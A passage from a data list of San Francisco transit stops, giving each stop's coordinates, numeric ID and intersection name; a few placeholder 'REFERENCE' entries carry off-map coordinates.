Ave and 24th St'], ['37.72507,-122.40798', '15030', 'Holyoke St and Wayland St'], ['37.807182,-122.407211', '14823', 'Kearny St and North Point St'], ['37.78515,-122.439939', '14435', 'Divisadero St and Sutter St'], ['37.785338,-122.439813', '14434', 'Divisadero St and Sutter St'], ['37.76976,-122.403152', '14437', 'Division St and Rhode Island St'], ['37.76934,-122.41074', '14436', 'Division St and Bryant St'], ['37.773185,-122.43735', '14431', 'Divisadero St and Oak St'], ['37.797085,-122.39567', '14532', 'The Embarcadero and Washington St'], ['37.786997,-122.440317', '14433', 'Divisadero St and Pine St'], ['37.773051,-122.437487', '14432', 'Divisadero St and Oak St'], ['37.788203,-122.403461', '14821', 'Kearny St and Geary Blvd'], ['37.71729,-122.40773', '14439', 'Delta St and Tioga Ave'], ['37.769894,-122.403301', '14438', 'Division St and Townsend St'], ['37.719953,-122.45929', '14908', 'Grafton Ave and Capitol Ave'], ['37.770508,-122.44355', '14945', 'Haight St and Central Ave'], ['37.770437,-122.442954', '14944', 'Haight St and Buena Vista West Ave'], ['37.769714,-122.448662', '14947', 'Haight St and Clayton St'], ['37.769893,-122.448467', '14946', 'Haight St and Clayton St'], ['37.772612,-122.427058', '14941', 'Haight St and Buchanan St'], ['37.770928,-122.440261', '14940', 'Haight St and Baker St'], ['37.770749,-122.440548', '14943', 'Haight St and Buena Vista East Ave'], ['37.772434,-122.427321', '14942', 'Haight St and Buchanan St'], ['37.728991,-122.439922', '16284', 'San Jose Ave and Santa Rosa Ave'], ['37.728996,-122.440016', '16285', 'San Jose Ave and Santa Rosa Ave'], ['37.72597,-122.44211', '16286', 'San Jose Ave and Santa Ynez Ave'], ['37.725877,-122.442359', '16287', 'San Jose Ave and Santa Ynez Ave'], ['37.769438,-122.450794', '14949', 'Haight St and Cole St'], ['37.769598,-122.450782', '14948', 'Haight St and Cole St'], ['37.71322,-122.45593', '16282', 'San Jose Ave and Sadowa St'], ['37.7112,-122.455945', '16283', 'San Jose Ave and Sickles Ave'], ['37.768256,-122.407667', '16042', 'Potrero Ave and Alameda St'], ['37.76844,-122.40792', '16043', 'Potrero Ave and Alameda St'], ['37.75164,-122.40608', '16040', 'Potrero Ave and 25th St'], ['37.751264,-122.406337', '16041', 'Potrero Ave and 25th St'], ['37.808031,-122.412508', '16046', 'Powell St and Beach St'], ['37.790158,-122.408711', '16047', 'Powell St and Bush St'], ['37.76826,-122.40766', '16044', 'Potrero Ave and Alameda St'], ['37.805738,-122.411833', '16045', 'Powell St and Bay St'], ['37.790141,-122.408871', '16048', 'Powell St and Bush St'], ['37.7923,-122.409145', '16049', 'Powell St and California St'], ['37.76922,-122.43365', '17075', 'Duboce Ave and Noe St'], ['37.770856,-122.453785', '16482', 'Stanyan St and Oak St'], ['37.77281,-122.41917', '15836', 'Otis St and 12th St'], ['37.731115,-122.457322', '15437', 'Monterey Blvd and Plymouth Ave'], ['37.796984,-122.406735', '15837', 'Pacific Ave and Grant Ave'], ['37.733248,-122.383082', '16983', 'Whitney Young Cir and Progress St'], ['37.744999,-122.451308', '15834', "O'Shaughnessy Blvd and Portola Dr"], ['37.739916,-122.388896', '17351', 'Third Street/Hudson/Innes'], ['37.737633,-122.389699', '17350', 'Third Street/Kirkwood/La Salle'], ['37.7333,-122.37984', '15108', 'Ingalls St and Harbor Rd'], ['37.73892,-122.41455', '14151', 'Cortland Ave and Ellsworth St'], ['37.760518,-122.388558', '17355', 'Third Street and 20th St'], ['37.755414,-122.388001', '17354', 'Third Street and 23rd St'], ['37.769049,-122.389308', '17357', 'UCSF/Mission Bay'], ['37.765523,-122.412976', '13288', '16th St and Harrison St'], ['37.772832,-122.389717', '17359', 'Third Street and Mission Rock St'], ['37.772993,-122.389717', '17358', 'Third Street and Mission Rock St'], ['37.764575,-122.426579', '13285', '16th St and Dolores St'], ['37.732004,-122.375614', '15101', 'Innes Ave and Griffith St'], ['37.73058,-122.38034', '15106', 'Ingalls St and Beatrice Ln'], ['37.73347,-122.380023', '15107', 'Ingalls St and Harbor Rd'], ['37.76572,-122.409812', '13281', '16th St and Bryant St'], ['37.74085,-122.42251', '14157', 'Cortland Ave and Mission St'], ['37.75277,-122.437387', '13449', '23rd St and Eureka St'], ['37.741385,-122.446027', '15830', "O'Shaughnessy Blvd and Del Vale Ave"], ['37.765026,-122.481609', '13445', '23rd Ave and Lincoln Way'], ['37.75787,-122.481113', '13444', '23rd Ave and Lawton St'], ['37.75414,-122.48086', '13447', '23rd Ave and Noriega St'], ['37.739692,-122.40781', '14155', 'Cortland Ave and Hilton St'], ['37.763134,-122.481482', '13441', '23rd Ave and Irving St'], ['37.75727,-122.39907', '13440', '22nd St and Wisconsin St'], ['37.759735,-122.48124', '13443', '23rd Ave and Kirkham St'], ['37.761608,-122.481378', '13442', '23rd Ave and Judah St'], ['37.7252,-122.42324', '14593', 'Felton St and Peru Ave'], ['37.74507,-122.4759', '13393', '19th Ave and Santiago St'], ['37.790887,-122.426132', '16298', 'Sacramento St and Gough St'], ['37.72393,-122.41307', '16794', 'University St and Wayland St'], ['37.772819,-122.454186', '16480', 'Stanyan St and Hayes St'], ['37.731615,-122.451445', '15435', 'Monterey Blvd and Gennessee St'], ['37.76729,-122.428889', '14010', 'Church St and Market St'], ['37.760392,-122.506064', '15216', 'Judah St and 46th Ave'], ['37.760357,-122.508459', '15217', 'Judah St and 48th Ave'], ['37.760518,-122.502839', '15214', 'Judah St and 43rd Ave'], ['37.760493,-122.505832', '15215', 'Judah St and 46th Ave'], ['37.760679,-122.499154', '15212', 'Judah St and 40th Ave'], ['37.760598,-122.502574', '15213', 'Judah St and 43rd Ave'], ['37.760955,-122.493199', '15210', 'Judah St and 34th Ave'], ['37.760743,-122.499359', '15211', 'Judah St and 40th Ave'], ['37.775206,-122.505958', '13571', '45th Ave and Balboa St'], ['37.772766,-122.454335', '16481', 'Stanyan St and Hayes St'], ['37.74984,-122.45691', '14014', 'LAGUNA HONDA Hosp/Clarendon Hall'], ['37.760269,-122.508135', '15218', 'Judah St and 48th Ave'], ['37.762075,-122.470329', '15219', 'Judah St and Funston Ave'], ['37.741949,-122.386408', '14555', 'Evans Ave and Newhall St'], ['37.788844,-122.435568', '16486', 'Steiner St and California St'], ['37.779163,-122.442151', '16711', 'Turk St and Baker St'], ['37.714443,-122.469998', '13387', '19th Ave and Randolph St'], ['37.77177,-122.42079', '15416', 'Mccoppin St and Gough St'], ['37.807254,-122.407612', '15463', 'North Point St and Kearny St'], ['37.76048,-122.50284', '17100', 'Judah St and 43rd Ave'], ['37.72491,-122.4614', '17101', 'Ocean Ave and Jules Ave'], ['37.72426,-122.45834', '17102', 'Ocean Ave and Miramar Ave'], ['37.784199,-122.407695', '15417', 'Metro Powell Station/Downtown'], ['37.75874,-122.4212', '16868', 'Valencia St and 20th St'], ['37.75826,-122.42135', '16869', 'Valencia St and 20th St'], ['37.77589,-122.492056', '13058', 'Balboa St and 32nd Ave'], ['37.775791,-122.494199', '13059', 'Balboa St and 34th Ave'], ['37.775989,-122.489912', '13056', 'Balboa St and 30th Ave'], ['37.734825,-122.471446', '17109', 'West Portal/Sloat/St Francis Circle'], ['37.776088,-122.487769', '13054', 'Balboa St and 28th Ave'], ['37.776114,-122.489958', '13055', 'Balboa St and 30th Ave'], ['37.77624,-122.484296', '13052', 'Balboa St and 25th Ave'], ['37.776222,-122.487551', '13053', 'Balboa St and 28th Ave'], ['37.77633,-122.482417', '13050', 'Balboa St and 23rd Ave'], ['37.776356,-122.484606', '13051', 'Balboa St and 25th Ave'], ['37.7991,-122.412203', '15362', 'Mason St and Green St'], ['37.79902,-122.412352', '15363', 'Mason St and Green St'], ['37.794525,-122.394618', '11041', 'REFERENCE and REFERENCE'], ['37.794525,-122.394618', '11040', 'REFERENCE and REFERENCE'], ['37.82,-12.24', '11047', 'REFERENCE and REFERENCE'], ['37.82,-12.24', '11046', 'REFERENCE and REFERENCE'], ['37.82,-12.24', '11045', 'REFERENCE and REFERENCE'], ['37.82,-12.24', '11044', 'REFERENCE and REFERENCE'], ['37.800037,-122.412397', '15368', 'Mason St and Union St'], ['37.799974,-122.412546', '15369', 'Mason St and Union St'], ['37.748999,-122.387445', '17353', 'Third Street and Marin St'], ['37.73402,-122.37953', '15109', 'Ingalls St and Innes Ave'], ['37.71028,-122.46933', '16484', 'St Charles Ave and Alemany Blvd'], ['37.70682,-122.45906', '15588', 'Mission St and Flournoy St'], ['37.786556,-122.414971', '14303', 'Geary Blvd and Leavenworth St'], ['37.786137,-122.41825', '14302', 'Geary Blvd and Larkin St'], ['37.787997,-122.403656', '14301', 'Geary Blvd and Kearny St'], ['37.786769,-122.413332', '14300', 'Geary Blvd and Jones St'], ['37.76761,-122.43558', '14307', 'Castro St and 14th St'], ['37.765377,-122.41329', '13289', '16th St and Harrison St'], ['37.784854,-122.428155', '14305', 'Geary Blvd and Laguna St'], ['37.785033,-122.427811', '14304', 'Geary Blvd and Laguna St'], ['37.79464,-122.417994', '15150', 'Jackson St and Hyde St'], ['37.720988,-122.447127', '15418', 'Balboa Park BART/Mezzanine Level'], ['37.76583,-122.43557', '14309', 'Castro St and 15th St'], ['37.715032,-122.413469', '17332', 'Raymond Ave and Sawyer St'], ['37.723914,-122.435387', '1660', 'MISSION ST and OCEAN AVENUE'], ['37.72381,-122.4129', '16795', 'University St and Wayland St'], ['37.76472,-122.424256', '13287', '16th St and Guerrero St'], ['37.70874,-122.46932', '16485', 'St Charles Ave and Belle Ave'], ['37.74667,-122.47577', '13388', '19th Ave and Rivera St'], ['37.764853,-122.423959', '13286', '16th St and Guerrero St'], ['37.71285,-122.44462', '15589', 'Mission St and Foote Ave'], ['37.74647,-122.47601', '13389', '19th Ave and Rivera St'], ['37.730932,-122.374035', '15100', 'Innes Ave and Fitch St'], ['37.784945,-122.400254', '13128', '3rd St and Howard St'], ['37.764731,-122.426156', '13284', '16th St and Dolores St'], ['37.789689,-122.394037', '17619', 'Beale St. and Howard St.'], ['37.742682,-122.387908', '13122', '3rd St and Evans Ave'], ['37.764579,-122.428523', '13283', '16th St and Church St'], ['37.72416,-122.39498', '13120', '3rd St and Egbert Ave'], ['37.7238,-122.39488', '13121', '3rd St and Egbert Ave'], ['37.74089,-122.3887', '13126', '3rd St and Galvez Ave'], ['37.774922,-122.419263', '17611', 'S. Van Ness Ave. and Market St.'], ['37.783998,-122.399097', '13124', '3rd St and Folsom St'], ['37.765568,-122.410328', '13282', '16th St and Bryant St'], ['37.72634,-122.47613', '13409', '20th Ave and Winston Dr'], ['37.776058,-122.394364', '15240', 'King St and 4th St'], ['37.732709,-122.377172', '15104', 'Innes Ave and Hunters Point Blvd'], ['37.728779,-122.37313', '14456', 'Earl St and Kirkwood Ave'], ['37.75054,-122.47295', '13280', '16th Ave and Pacheco St'], ['37.71062,-122.41878', '16338', 'Santos St and Blythdale Ave'], ['37.75534,-122.45635', '16914', 'Warren Dr and Oakpark Dr'], ['37.791921,-122.431191', '16915', 'Washington St and Buchanan St'], ['37.791503,-122.434481', '16916', 'Washington St and Fillmore St'], ['37.792759,-122.42461', '16917', 'Washington St and Franklin St'], ['37.757722,-122.461897', '16910', '455 Warren Dr'], ['37.753125,-122.500166', '15756', 'Noriega St and 41st Ave'], ['37.754474,-122.461083', '16912', 'Warren Dr and Devonshire Way'], ['37.758694,-122.463135', '16913', 'Warren Dr and Locksley Ave'], ['37.798257,-122.456355', '14237', 'Funston Ave and Presidio Blvd'], ['37.71598,-122.45605', '15969', 'Plymouth Ave and Minerva St'], ['37.774756,-122.454519', '14235', 'Fulton St and Stanyan St'], ['37.77499,-122.45238', '14234', 'Fulton St and Shrader St'], ['37.775,-122.45324', '14233', 'Fulton St and Parker Ave'], ['37.77305,-122.47199', '14232', 'Fulton St and Park Presidio Blvd'], ['37.77319,-122.47218', '14231', 'Fulton St and Park Presidio Blvd'], ['37.752698,-122.436539', '13448', '23rd St and Diamond St'], ['37.79015,-122.39695', '15591', 'Mission St and Fremont St'], ['37.72635,-122.43365', '15590', 'Mission St and Francis St'], ['37.716642,-122.440782', '15593', 'Mission St and Geneva Ave'], ['37.716455,-122.441149', '15592', 'Mission St and Geneva Ave'], ['37.71251,-122.44475', '15595', 'Mission St and Guttenberg St'], ['37.70736,-122.45708', '15594', 'Mission St and GoeThe St'], ['37.73706,-122.4242', '15597', 'Mission St and Highland Ave'], ['37.737448,-122.423963', '15596', 'Mission St and Highland Ave'], ['37.71865,-122.439259', '15599', 'Mission St and Italy Ave'], ['37.71915,-122.439087', '15598', 'Mission St and Italy Ave'], ['37.740905,-122.384564', '17077', 'Evans Ave and Mendell St'], ['37.711696,-122.418864', '16339', 'Santos St and Brookdale Ave'], ['37.772375,-122.489624', '17728', 'Fulton S t& 30th Ave'], ['37.77188,-122.50034', '17729', 'Fulton St and 40th Ave'], ['37.73373,-122.494597', '16444', 'Sloat Blvd and 37th Ave'], ['37.771612,-122.503296', '17720', 'Fulton St and 43rd Ave'], ['37.772834,-122.476524', '17721', 'Fulton St and Park Presidio'], ['37.776808,-122.444834', '17722', 'Central Ave and McAllister St'], ['37.779634,-122.423457', '17723', 'McAllister St and Gough st'], ['37.775746,-122.446278', '17724', 'McAllister S t& Divisadero St'], ['37.777816,-122.438587', '17725', 'McAllister St and Divisadero St'], ['37.777263,-122.443195', '17726', 'McAllister St and Central Ave'], ['37.772474,-122.487504', '17727', 'Fulton S t& 28th Ave'], ['37.80137,-122.431406', '13948', 'Chestnut St and Laguna St'], ['37.80072,-122.43746', '13949', 'Chestnut St and Mallorca Way'], ['37.756014,-122.480986', '13446', '23rd Ave and Moraga St'], ['37.77911,-122.443596', '16722', 'Turk St and Lyon St'], ['37.800051,-122.442746', '13940', 'Chestnut St and Divisadero St'], ['37.800907,-122.436176', '13941', 'Chestnut St and Fillmore St'], ['37.800738,-122.436371', '13942', 'Chestnut St and Fillmore St'], ['37.80211,-122.426568', '13943', 'Chestnut St and Franklin St'], ['37.80203,-122.426212', '13944', 'Chestnut St and Franklin St'], ['37.801905,-122.428184', '13945', 'Chestnut St and Gough St'], ['37.801825,-122.427852', '13946', 'Chestnut St and Gough St'], ['37.801486,-122.431475', '13947', 'Chestnut St and Laguna St'], ['37.77715,-122.45818', '16709', 'Turk St and Arguello Blvd'], ['37.73095,-122.42192', '16708', 'Trumbull St and Stoneybrook Ave'], ['37.771695,-122.401947', '16701', 'Townsend St and 7th St'], ['37.771704,-122.401661', '16700', 'Townsend St and 7th St'], ['37.7318,-122.39555', '16703', 'Topeka Ave and Newhall St'], ['37.7333,-122.39762', '16702', 'Topeka Ave and Bridge View Dr'], ['37.73201,-122.39592', '16705', 'Topeka Ave and Venus St'], ['37.73117,-122.39527', '16704', 'Topeka Ave and Thornton Ave'], ['37.73084,-122.42624', '16707', 'Trumbull St and Congdon St'], ['37.73097,-122.42639', '16706', 'Trumbull St and Congdon St'], ['37.75143,-122.396345', '14129', 'Connecticut St and 26th St'], ['37.752563,-122.396402', '14128', 'Connecticut St and 25th St'], ['37.72739,-122.41439', '16792', 'University St and Felton St'], ['37.80173,-122.45472', '15019', '220 Halleck St'], ['37.76498,-122.397661', '14123', 'Connecticut St and 17th St'], ['37.753902,-122.397341', '14122', '1095 CONNECTICUT ST'], ['37.79591,-122.403682', '14121', 'Columbus Ave and Washington St'], ['37.800384,-122.410436', '14120', 'Columbus Ave and Union St'], ['37.76115,-122.39733', '14127', 'Connecticut St and 19th St'], ['37.76243,-122.39741', '14126', 'Connecticut St and 18th St'], ['37.762614,-122.397569', '14125', 'Connecticut St and 18th St'], ['37.764749,-122.397785', '14124', 'Connecticut St and 17th St'], ['37.790156,-122.400411', '15689', 'Market St and Sansome St'], ['37.78468,-122.40731', '15688', 'Market St and Powell St'], ['37.813062,-122.371131', '17432', 'Treasure Island Rd and Macalla Rd'], ['37.795602,-122.411666', '15365', 'Mason St and Jackson St'], ['37.788613,-122.402163', '15685', 'Market St and New Montgomery St'], ['37.78849,-122.40248', '15684', 'Market St and Montgomery St'], ['37.763958,-122.433323', '15687', 'Market St and Noe St'], ['37.764489,-122.432812', '15686', 'Market St and Noe St'], ['37.770953,-122.424666', '15681', 'Market St and Laguna St'], ['37.777598,-122.416236', '15680', 'Market St and Larkin St'], ['37.78285,-122.40964', '15683', 'Market St and Mason St'], ['37.792984,-122.396627', '15682', 'Market St and Main St'], ['37.716782,-122.475758', '14707', 'Font Blvd and Gonzalez Dr'], ['37.71049,-122.41136', '16386', 'Schwerin St and Sunnydale Ave'], ['37.77177,-122.50306', '14219', 'Fulton St and 43rd Ave'], ['37.715899,-122.474292', '14705', 'Font Blvd and Cambon Dr'], ['37.737477,-122.446336', '16675', 'Teresita Blvd and Marietta Dr'], ['37.734,-122.44558', '16674', 'Teresita Blvd and Melrose Ave'], ['37.745079,-122.452099', '16677', 'Teresita Blvd and Portola Dr'], ['37.742599,-122.450655', '16676', 'Teresita Blvd and Marietta Dr'], ['37.73985,-122.448009', '16671', 'Teresita Blvd and Gaviota Way'], ['37.739895,-122.447734', '16670', 'Teresita Blvd and Gaviota Way'], ['37.741733,-122.450529', '16673', 'Teresita Blvd and Isola Way'], ['37.783808,-122.485286', '13840', 'California St and 25th Ave'], ['37.740707,-122.449177', '16679', 'Teresita Blvd and Reposa Way'], ['37.740975,-122.449223', '16678', 'Teresita Blvd and Reposa Way'], ['37.78209,-122.48178', '14057', 'Clement St and 22nd Ave'], ['37.78224,-122.48152', '14056', 'Clement St and 22nd Ave'], ['37.78222,-122.47914', '14055', 'Clement St and 20th Ave'], ['37.78231,-122.47984', '14054', 'Clement St and 20th Ave'], ['37.78229,-122.47751', '14053', 'Clement St and 18th Ave'], ['37.78245,-122.47671', '14052', 'Clement St and 17th Ave'], ['37.78239,-122.47536', '14051', 'Clement St and 16th Ave'], ['37.78258,-122.47397', '14050', 'Clement St and 15th Ave'], ['37.78462,-122.4499', '14458', 'Euclid Ave and Collins St'], ['37.78206,-122.48524', '14059', 'Clement St and 25th Ave'], ['37.78213,-122.48367', '14058', 'Clement St and 24th Ave'], ['37.71773,-122.45607', '15979', 'Plymouth Ave and Thrift St'], ['37.71757,-122.45614', '15978', 'Plymouth Ave and Thrift St'], ['37.73111,-122.45753', '15973', 'Plymouth Ave and Monterey Blvd'], ['37.78639,-122.40516', '15674', 'Market St and Grant Ave'], ['37.71655,-122.45605', '15971', 'Plymouth Ave and Montana St'], ['37.71586,-122.45612', '15970', 'Plymouth Ave and Minerva St'], ['37.71155,-122.45608', '15977', 'Plymouth Ave and Sagamore St'], ['37.7117,-122.45599', '15976', 'Plymouth Ave and Sagamore St'], ['37.723638,-122.456233', '15975', 'Plymouth Ave and Ocean Ave'], ['37.723772,-122.456049', '15974', 'Plymouth Ave and Ocean Ave'], ['37.784519,-122.408404', '13610', 'Cyril Magnin St and Eddy St'], ['37.784162,-122.408175', '13611', 'Cyril Magnin St and Market St'], ['37.784011,-122.40821', '13612', 'Cyril Magnin St and Market St'], ['37.737735,-122.431009', '13613', '46 Addison St'], ['37.738172,-122.432807', '13614', '164 Addison St'], ['37.740037,-122.435716', '13615', 'Addison St and Diamond Heights Blvd'], ['37.740001,-122.433609', '13616', 'Addison St and Digby St'], ['37.740189,-122.434216', '13617', 'Addison St and Farnum St'], ['37.740055,-122.434433', '13618', 'Addison St and Farnum St'], ['37.70898,-122.39422', '13619', 'Alana Way and Executive Park Blvd'], ['37.78773,-122.40337', '15678', 'Market St and Kearny St'], ['37.765859,-122.46623', '15301', 'Lincoln Way and 9th Ave'], ['37.725482,-122.394245', '17303', '3rd St and Carroll Ave'], ['37.777589,-122.416213', '15679', 'Market St and Larkin St'], ['37.778548,-122.447138', '16725', 'Turk St and Masonic Ave'], ['37.7419,-122.40307', '15773', 'Oakdale Ave and Barneveld Ave'], ['37.775063,-122.42195', '15772', 'Oak St and Franklin St'], ['37.743024,-122.475619', '17579', '19th Ave and Taraval St'], ['37.723289,-122.39908', '15901', 'Paul Ave and Crane St'], ['37.71321,-122.40496', '13654', 'Arleta Ave and Alpha St'], ['37.778664,-122.447206', '16724', 'Turk St and Masonic Ave'], ['37.801862,-122.45451', '15020', 'HALLECK ST/Army Headquarters'], ['37.72522,-122.40812', '15029', 'Holyoke St and Wayland St'], ['37.778448,-122.396647', '17291', '4th St and Brannan St'], ['37.793097,-122.393186', '17292', 'Steuart St&Mission St'], ['37.77787,-122.41992', '16812', 'Van Ness Ave and Grove St'], ['37.793527,-122.396797', '17294', 'California St and Davis St'], ['37.767305,-122.446473', '17295', 'Ashbury St and Frederick St'], ['37.784712,-122.464424', '17296', 'Corwall St and 6th Ave'], ['37.708801,-122.40525', '17297', 'Sunnydale Ave and Bay Shore Blvd'], ['37.801077,-122.454899', '15021', 'Halleck St and Lincoln Blvd'], ['37.775082,-122.419137', '1865', 'SOUTH VAN NESS AVE and 12TH ST'], ['37.80369,-122.45453', '15023', 'Halleck St and Vallejo St'], ['37.803763,-122.454349', '15022', 'Halleck St and Mason St'], ['37.81038,-122.36339', '15025', 'Hillcrest St and Macalla St'], ['37.810505,-122.363371', '15024', 'Hillcrest St and Macalla St'], ['37.72614,-122.4085', '15027', 'Holyoke St and Bacon St'], ['37.72628,-122.40845', '15026', 'Holyoke St and Bacon St'], ['37.729252,-122.369649', '14440', 'Donahue St and Innes Ave'], ['37.747925,-122.44511', '14441', 'Dawnview Way and Burnett Ave'], ['37.748033,-122.447539', '14442', 'Dawnview Way and Glenview Dr'], ['37.75112,-122.43854', '14443', 'Douglass St and 24th St'], ['37.77146,-122.40817', '13728', 'Bryant St and 9th St'], ['37.76967,-122.41045', '13729', 'Bryant St and 11th St'], ['37.769472,-122.429408', '14447', 'Duboce Ave and Church St'], ['37.77795,-122.39995', '13724', 'Bryant St and 5th St'], ['37.776157,-122.402231', '13725', 'Bryant St and 6th St'], ['37.77438,-122.40449', '13726', 'Bryant St and 7th St'], ['37.77233,-122.40708', '13727', 'Bryant St and 8th St'], ['37.7319,-122.39925', '13720', 'Bridge View Dr and Scotia Ave'], ['37.73184,-122.3994', '13721', 'Bridge View Dr and Scotia Ave'], ['37.7332,-122.39769', '13722', 'Bridge View Dr and Topeka Ave'], ['37.779474,-122.398068', '13723', 'Bryant St and 4th St'], ['37.74926,-122.44261', '14930', 'Grand View Ave and 25th St'], ['37.74907,-122.44253', '14931', 'Grand View Ave and 25th St'], ['37.74852,-122.44251', '14932', 'Grand View Ave and Clipper St'], ['37.748229,-122.442635', '14933', 'Grand View Ave and Clipper St'], ['37.829848,-122.375254', '14934', 'Gateview Ave and Bayside Dr'], ['37.828181,-122.377217', '14935', 'Gateview Ave and Mason Ct'], ['37.750999,-122.414048', '14680', 'Folsom St and 25th St'], ['37.750829,-122.413842', '14681', 'Folsom St and 25th St'], ['37.712025,-122.416047', '14938', 'Hahn St and Sunnydale Ave'], ['37.713399,-122.415222', '14939', 'Hahn St and Visitacion Ave'], ['37.78984,-122.434336', '16295', 'Sacramento St and Fillmore St'], ['37.7945,-122.39761', '16294', 'Sacramento St and Davis St'], ['37.713588,-122.474474', '17798', 'Brotherhood Way and Summit Way SE-FS/SB'], ['37.790194,-122.430855', '16292', 'Sacramento St and Buchanan St'], ['37.7388,-122.41337', '14688', 'Folsom St and Cortland Ave'], ['37.73494,-122.41365', '14689', 'Folsom St and Crescent Ave'], ['37.795316,-122.409774', '16059', 'Powell St and Jackson St'], ['37.787267,-122.408128', '16058', 'Powell St and Geary Blvd'], ['37.804962,-122.411879', '16055', 'Powell St and Francisco St'], ['37.801232,-122.411124', '16054', 'Powell St and Filbert St'], ['37.787464,-122.408322', '16057', 'Powell St and Geary Blvd'], ['37.80481,-122.41165', '16056', 'Powell St and Francisco St'], ['37.793755,-122.409465', '16051', 'Powell St and Clay St'], ['37.792211,-122.409294', '16050', 'Powell St and California St'], ['37.785376,-122.407899', '16053', 'Powell St and Ellis St'], ['37.793835,-122.409626', '16052', 'Powell St and Clay St'], ['37.717012,-122.389212', '15115', 'Ingerson Ave and Griffith St'], ['37.776419,-122.48456', '13489', '25th Ave and Balboa St'], ['37.729136,-122.370199', '15117', 'Innes St and Donahue St'], ['37.718039,-122.390998', '15116', 'Ingerson Ave and Hawes St'], ['37.72735,-122.38563', '15111', 'Ingalls St and Thomas Ave'], ['37.72837,-122.3846', '15110', 'Ingalls St and Revere Ave'], ['37.726041,-122.386685', '15113', 'Ingalls St and Van Dyke Ave'], ['37.778052,-122.484492', '13488', '25th Ave and Anza St'], ['37.764299,-122.460824', '15119', 'Irving St and 4th Ave'], ['37.764441,-122.458643', '15118', 'Irving St and 2nd Ave'], ['37.80559,-122.42189', '15464', 'North Point St and Larkin St'], ['37.778235,-122.44959', '16729', 'Turk St and Roselyn Ter'], ['37.7436,-122.42658', '17071', 'Church St and 29th St'], ['37.72702,-122.41634', '14581', 'Felton St and Amherst St'], ['37.71334,-122.45601', '15954', 'Plymouth Ave and Broad St'], ['37.75764,-122.39397', '13438', '22nd St and Mississippi St'], ['37.757585,-122.393052', '13439', '22nd St and Pennsylvania Ave'], ['37.82982,-122.373477', '14936', 'Gateview Ave and North Point St'], ['37.755898,-122.479714', '13430', '22nd Ave and Moraga St'], ['37.754337,-122.479611', '13431', '22nd Ave and Noriega St'], ['37.75801,-122.38809', '13432', '22nd St and 3rd St'], ['37.75789,-122.38851', '13433', '22nd St and 3rd St'], ['37.7573,-122.39975', '13434', '22nd St and Carolina St'], ['37.757771,-122.3918', '13435', '22nd St and Iowa St'], ['37.75787,-122.39008', '13436', '22nd St and Minnesota St'], ['37.75779,-122.39', '13437', '22nd St and Minnesota St'], ['37.751645,-122.42955', '13481', '24th St and Sanchez St'], ['37.72543,-122.42211', '14590', 'Felton St and Madison St'], ['37.778901,-122.416545', '14848', 'Larkin St and Grove St'], ['37.78076,-122.41696', '14849', 'Larkin St and Mcallister St'], ['37.722759,-122.483629', '17808', 'Font Blvd and Mary Ward Hall'], ['37.77169,-122.50984', '14844', 'La Playa St and Fulton St'], ['37.806348,-122.422083', '14845', 'Larkin St and Beach St'], ['37.783228,-122.417415', '14846', 'Larkin St and Eddy St'], ['37.781693,-122.417106', '14847', 'Larkin St and Golden Gate Ave'], ['37.72606,-122.48434', '14840', 'Lake Merced Blvd/SFSU'], ['37.775008,-122.510244', '14841', 'La Playa St and Balboa St'], ['37.773214,-122.509991', '14842', 'La Playa St and Cabrillo St'], ['37.773214,-122.51006', '14843', 'La Playa St and Cabrillo St'], ['37.769317,-122.389445', '17324', '3rd St and Gene Friend Way'], ['37.734653,-122.480061', '16456', 'Sloat Blvd and Crestlake Dr'], ['37.71201,-122.4159', '14937', 'Hahn St and Sunnydale Ave'], ['37.719585,-122.469953', '17325', 'Garfield St&Byxbee St'], ['37.807841,-122.41081', '13095', 'Beach St and Stockton St'], ['37.719594,-122.468155', '17326', 'Garfield St&Vernon St'], ['37.763308,-122.458173', '15888', '513 Parnassus Ave'], ['37.761534,-122.479855', '15201', 'Judah St and 22nd Ave'], ['37.761655,-122.477194', '15200', 'Judah St and 19th Ave'], ['37.761452,-122.4833', '15203', 'Judah St and 25th Ave'], ['37.761547,-122.481164', '15202', 'Judah St and 23rd Ave'], ['37.76131,-122.48651', '15205', 'Judah St and 28th Ave'], ['37.761373,-122.48356', '15204', 'Judah St and 25th Ave'], ['37.761172,-122.489719', '15207', 'Judah St and 31st Ave'], ['37.761232,-122.486763', '15206', 'Judah St and 28th Ave'], ['37.761028,-122.49293', '15209', 'Judah St and 34th Ave'], ['37.761105,-122.4895', '15208', 'Judah St and 31st Ave'], ['37.761913,-122.473781', '15198', 'Judah St and 16th Ave'], ['37.74191,-122.42902', '13544', '30th St and Sanchez St'], ['37.77668,-122.49195', '13545', '32nd Ave and Balboa St'], ['37.783419,-122.492442', '13546', '32nd Ave and California St'], ['37.783429,-122.492553', '13547', '32nd Ave and California St'], ['37.742435,-122.42206', '13540', '30th St and Mission St'], ['37.776241,-122.389967', '17322', '3rd St and Terry A Francois Blvd'], ['37.74188,-122.43079', '13542', '30th St and Noe St'], ['37.74202,-122.4286', '13543', '30th St and Sanchez St'], ['37.776187,-122.390104', '17323', '3rd St and Terry A Francois Blvd'], ['37.781995,-122.492335', '13548', '32nd Ave and Clement St'], ['37.781802,-122.492425', '13549', '32nd Ave and Clement St'], ['37.70826,-122.41234', '16388', 'Schwerin St and Velasco Ave'], ['37.762139,-122.466312', '15194', 'Judah St and 9th Ave'], ['37.761848,-122.472777', '15197', 'Judah St and 15th Ave'], ['37.761988,-122.469526', '15196', 'Judah St and 12th Ave'], ['37.73284,-122.41679', '14565', '909 Ellsworth St'], ['37.711897,-122.405775', '17328', 'Leland Ave@Alpha St'], ['37.739717,-122.382813', '14564', 'EVANS AVE/Opposite US Post Office'], ['37.711138,-122.403794', '17329', 'Leland Ave@Bay Shore Blvd'], ['37.77647,-122.48219', '13049', 'Balboa St and 23rd Ave'], ['37.740767,-122.465911', '17112', 'West Portal Ave and Ulloa St'], ['37.71847,-122.44864', '17111', 'San Jose Ave and Mt Vernon Ave'], ['37.74231,-122.49423', '17110', 'Taraval St and Sunset Blvd'], ['37.76035,-122.50605', '17117', 'Judah St and 46th Ave'], ['37.71606,-122.45036', '17116', 'San Jose Ave and Lakeview Ave'], ['37.75028,-122.42059', '16879', 'Valencia St and 25th St'], ['37.75075,-122.42044', '16878', 'Valencia St and 25th St'], ['37.75186,-122.42074', '16877', 'Valencia St and 24th St'], ['37.75236,-122.42059', '16876', 'Valencia St and 24th St'], ['37.7534,-122.42088', '16875', 'Valencia St and 23rd St'], ['37.75361,-122.42071', '16874', 'Valencia St and 23rd St'], ['37.75506,-122.42104', '16873', 'Valencia St and 22nd St'], ['37.75555,-122.42089', '16872', 'Valencia St and 22nd St'], ['37.75661,-122.4212', '16871', 